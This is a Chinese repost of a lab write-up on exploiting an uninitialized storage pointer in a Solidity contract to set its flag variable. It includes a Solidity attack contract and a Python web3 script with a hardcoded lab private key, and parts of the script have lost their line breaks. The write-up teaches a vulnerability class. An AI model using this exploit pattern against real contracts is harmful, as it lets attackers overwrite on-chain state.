某60區塊鏈安全之未初始化的存儲指針實戰一學習記錄

區塊鏈安全

文章目錄

  • 區塊鏈安全
  • 未初始化的存儲指針實戰一
    • 實驗目的
    • 實驗環境
    • 實驗工具
    • 實驗原理
    • 實驗過程

未初始化的存儲指針實戰一

實驗目的

學會使用python3的web3模塊
學會分析以太坊智能合約未初始化的存儲指針漏洞
找到合約漏洞進行分析并形成利用

實驗環境

Ubuntu18.04操作機

實驗工具

python3

實驗原理

在solidity語言中,像動態的數組、struct、mapping這樣的復雜數據結構是不能直接在”棧”里面保存的,因為”棧”里只能保存單獨的”字”,也就是只能保存實際數據長度小于等于32字節的簡單數據類型。所以在solidity智能合約函數中聲明動態數組和struct時,必須明確指明其位置在storage還是memory中。
在函數內部,mapping類型則不能作為臨時變量使用,只能作為某個狀態變量的”儲存指針”,也就是mapping類型必須在編譯時進行預先初始化,而不能作為運動時產生的數據。如果智能合約函數聲明了臨時的動態數組或者sturct,而沒有指定“位置”,且沒有進行初始化,那么這些變量將默認存儲在storage。
未初始化的存儲指針是指在 EVM 中未進行初始化的 storage 變量,這個變量會指向其他變量的區域,從而更改其他變量的值。
實驗內容
合約中內置了結構體未初始化的存儲指針問題,找到合約漏洞并形成利用,把合約中的flag變量設置為true即可
使用python3的web3模塊遠程利用漏洞并獲取flag
實驗地址為nc ip 10007

實驗過程

獲取合約地址和合約源代碼
nc ip 10007連接到題目,輸入1,獲取部署合約的game account及token
在這里插入圖片描述

打開http://ip,輸入上述分配的game account,點擊Request獲取eth
在這里插入圖片描述

nc ip 10007連接到題目,輸入2,獲取部署合約的地址及new token
在這里插入圖片描述

nc ip 10007連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
在這里插入圖片描述

分析合約源代碼漏洞
題目要求將合約中的flag變量設置為true,分析代碼,并未見到直接可將flag設置為true的代碼
在這里插入圖片描述

典型的利用 struct 默認是 storage 的題目,struct在函數中未明確指明是memory變量,則其是storage變量,聲明的變量默認從slot 0開始存儲
函數中聲明的 newRecord 結構體修改 name 和 mappedAddress 實際分別改的是 unlocked 和 bytes32 name
所以把 name 對應的 slot 0 的值改成 1 就行了
EXP利用
編寫第三方攻擊合約attack.sol,將下述ETH7地址換成自己題目合約的地址,調用目標合約的register(1, tx.origin)
pragma solidity ^0.4.23;

contract hack {
ETH7 target = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);
constructor() public {
target.register(1, tx.origin);
}
}
在這里插入圖片描述

用python編寫自動化exp,功能包括部署攻擊合約得到攻擊合約地址,在攻擊合約的構造函數中完成攻擊

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)

執行exp
在這里插入圖片描述

nc ip 10007連接到題目,輸入3,輸入之前的new token,獲取flag
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/165020.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/165020.shtml
英文地址,請注明出處:http://en.pswp.cn/news/165020.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

深度學習之八(生成對抗網絡--Generative Adversarial Networks,GANs)

概念 生成對抗網絡(Generative Adversarial Networks, GANs)是一種深度學習模型,由 Ian Goodfellow 等人于2014年提出。GAN 的目標是通過訓練兩個神經網絡(生成器和判別器),使得生成器能夠生成與真實數據相似的樣本,而判別器能夠區分真實樣本和生成樣本。這兩個網絡相…

多元邏輯回歸模型的概念、模型檢驗以及應用

多元邏輯回歸是邏輯回歸的一種擴展&#xff0c;用于處理多類別分類問題。在二元邏輯回歸中&#xff0c;我們通過一個邏輯函數&#xff08;也稱為S形函數&#xff09;將輸入特征映射到一個概率值&#xff0c;用于預測兩個類別中一個的概率。而在多元邏輯回歸中&#xff0c;我們面…

沃趣班11月月考題目解析

沃趣班11月月考題目解析 1.在oracle中創建用戶時&#xff0c;若未設置default tablespace關鍵字&#xff0c;則oracle將哪個表空間分配給用戶作為默認表空間 答案&#xff1a;D.user SQL> create user mytest identified by 123456; SQL> grant connect to mytest; SQL…

【開源】基于Vue.js的海南旅游景點推薦系統的設計和實現

項目編號&#xff1a; S 023 &#xff0c;文末獲取源碼。 \color{red}{項目編號&#xff1a;S023&#xff0c;文末獲取源碼。} 項目編號&#xff1a;S023&#xff0c;文末獲取源碼。 目錄 一、摘要1.1 項目介紹1.2 項目錄屏 二、功能模塊2.1 用戶端2.2 管理員端 三、系統展示四…

CSS特效017:球體漲水的效果

CSS常用示例100專欄目錄 本專欄記錄的是經常使用的CSS示例與技巧&#xff0c;主要包含CSS布局&#xff0c;CSS特效&#xff0c;CSS花邊信息三部分內容。其中CSS布局主要是列出一些常用的CSS布局信息點&#xff0c;CSS特效主要是一些動畫示例&#xff0c;CSS花邊是描述了一些CSS…

前端錯誤處理與調試

** javascript錯誤處理 ** 由于javascript本身是動態語言&#xff0c;而且沒有固定的開發工具&#xff0c;因此他普遍認為是最難以調試的語言&#xff0c;在ECMAScript3新增了try-catch和throw以及一些錯誤類型&#xff0c;讓開發人員能適當的處理錯誤&#xff0c;緊接著web瀏…

多tab頁表單校驗如何做

多tab頁表單校驗如何做 在多tab頁表單中進行校驗&#xff0c;可以按照以下步驟進行&#xff1a; 創建一個表單對象&#xff0c;用于存儲表單數據和校驗規則。 分為多個tab頁&#xff0c;每個tab頁對應一個表單頁面。 定義每個tab頁中的表單字段及其相應的校驗規則。 在切換…

PHP 賦值、算數和比較運算符 學習資料

PHP 賦值、算數和比較運算符 在 PHP 中&#xff0c;賦值、算數和比較運算符用于對變量進行賦值、進行數學運算和比較操作。以下是對這些運算符的介紹和示例&#xff1a; 賦值運算符 賦值運算符用于給變量賦值。常用的賦值運算符有 、、-、*、/ 等。 示例&#xff1a; $a …

芯能轉債上市價格預測

芯能轉債-113679 基本信息 轉債名稱&#xff1a;芯能轉債&#xff0c;評級&#xff1a;AA-&#xff0c;發行規模&#xff1a;8.8億元。 正股名稱&#xff1a;芯能科技&#xff0c;今日收盤價&#xff1a;12.63元&#xff0c;轉股價格&#xff1a;13.1元。 當前轉股價值 轉債面…

基于遺傳優化的多屬性判決5G-Wifi網絡切換算法matlab仿真

目錄 1.算法運行效果圖預覽 2.算法運行軟件版本 3.部分核心程序 4.算法理論概述 5.算法完整程序工程 1.算法運行效果圖預覽 2.算法運行軟件版本 MATLAB2022a 3.部分核心程序 .......................................................................... %接收功率、網…

數字孿生智慧校園 Web 3D 可視化監測

當今&#xff0c;智慧校園發展階段亟需推動信息可視化建設與發展&#xff0c;將大數據、云計算、可視化等高新技術相融合&#xff0c;為校園師生創造科學智能的學習環境&#xff0c;并實現教學資源最大化和信息服務智能化。幫助學校更好地應用校園可視化技術&#xff0c;提升校…

原型模式 (Prototype Pattern)

定義&#xff1a; 原型模式&#xff08;Prototype Pattern&#xff09;是一種創建型設計模式&#xff0c;它用于創建重復的對象&#xff0c;同時保持性能。這種模式的核心思想是通過復制一個已存在的實例來創建新的實例&#xff0c;而不是新建實例并對其進行初始化。原型模式適…

jetson xavier NX深度學習環境配置

文章目錄 jetson xavier NX深度學習環境配置1. SD卡系統燒錄1.1 材料1.2 軟件配置1.3 格式化SD卡1.4 系統鏡像燒錄 2. 環境配置2.1 cuda環境配置2.2 安裝依賴庫2.3 安裝python及依賴環境2.4 安裝pytorch環境 jetson xavier NX深度學習環境配置 1. SD卡系統燒錄 1.1 材料 SD …

面試題 —— 前端精選(1)

文章目錄 前言 闡述 JS 的事件循環 JS 中的計時器能做到精確計時嗎&#xff1f;為什么&#xff1f; 如何理解 JS 的異步&#xff1f; 前言 本文章介紹三道圍繞 JavaScript 的精選面試題 闡述 JS 的事件循環 事件循環?叫做消息循環&#xff0c;是瀏覽器渲染主線程的?作?式…

CentOS虛擬機重置賬號密碼

虛擬機忘記密碼了 一般來說&#xff0c;虛擬機的賬號密碼&#xff0c;工作中都會有文檔記錄&#xff0c;如果忘記了可以查看文檔。但是也有特例&#xff0c;虛擬機的密碼沒有記錄到文檔中&#xff0c;嘗試了很多次依然登錄失敗&#xff0c;這時候就只能重置賬號密碼了。 1.重…

upload-labs關卡13(基于白名單的0x00截斷繞過)通關思路

文章目錄 前言一、回顧上一關知識點二、靶場第十三關通關思路1、看源代碼2、bp進行0x00截斷繞過3、蟻劍連接 總結 前言 此文章只用于學習和反思鞏固文件上傳漏洞知識&#xff0c;禁止用于做非法攻擊。注意靶場是可以練習的平臺&#xff0c;不能隨意去尚未授權的網站做滲透測試…

nginx中proxy_pass的配置

Nginx的官網將proxy_pass分為兩種類型&#xff1a; 不帶URI方式&#xff1a;只包含IP和端口號的&#xff0c;不帶uri&#xff08;單個/也算uri&#xff09;&#xff0c;比如proxy_pass http://localhost:8080&#xff1b;帶URI方式&#xff1a;在端口號之后有其他路徑的&#…

思維模型 潘多拉效應

本系列文章 主要是 分享 思維模型 &#xff0c;涉及各個領域&#xff0c;重在提升認知。越是禁止&#xff0c;越是好奇。 1 潘多拉效應的應用 1.1 潘多拉效應在管理中的應用 通用電氣公司曾經推出了一項名為“六西格瑪”的管理方法&#xff0c;該方法旨在通過優化業務流程和提…

Linux終端和命令行

文章目錄 學習Linux終端和命令行一、常用Linux命令的基本使用&#xff08;一&#xff09;放大/縮小終端窗口的字體顯示&#xff08;二&#xff09;自動補全 二、軟件安裝三、文件和目錄常用命令&#xff08;一&#xff09;ls&#xff1a;查看目錄內容1.ls命令說明2.Linux下文件…

Peter算法小課堂—前綴和數組的應用

桶 相當于計數排序&#xff0c;看一個視頻 桶排序 太戈編程1620題 算法解析 #include <bits/stdc.h> using namespace std; const int R11; int cnt[R];//cnt[t]代表第t天新增幾人 int s[R];//s[]數組是cnt[]數組的前綴和數組 int n,t; int main(){cin>>n;for(…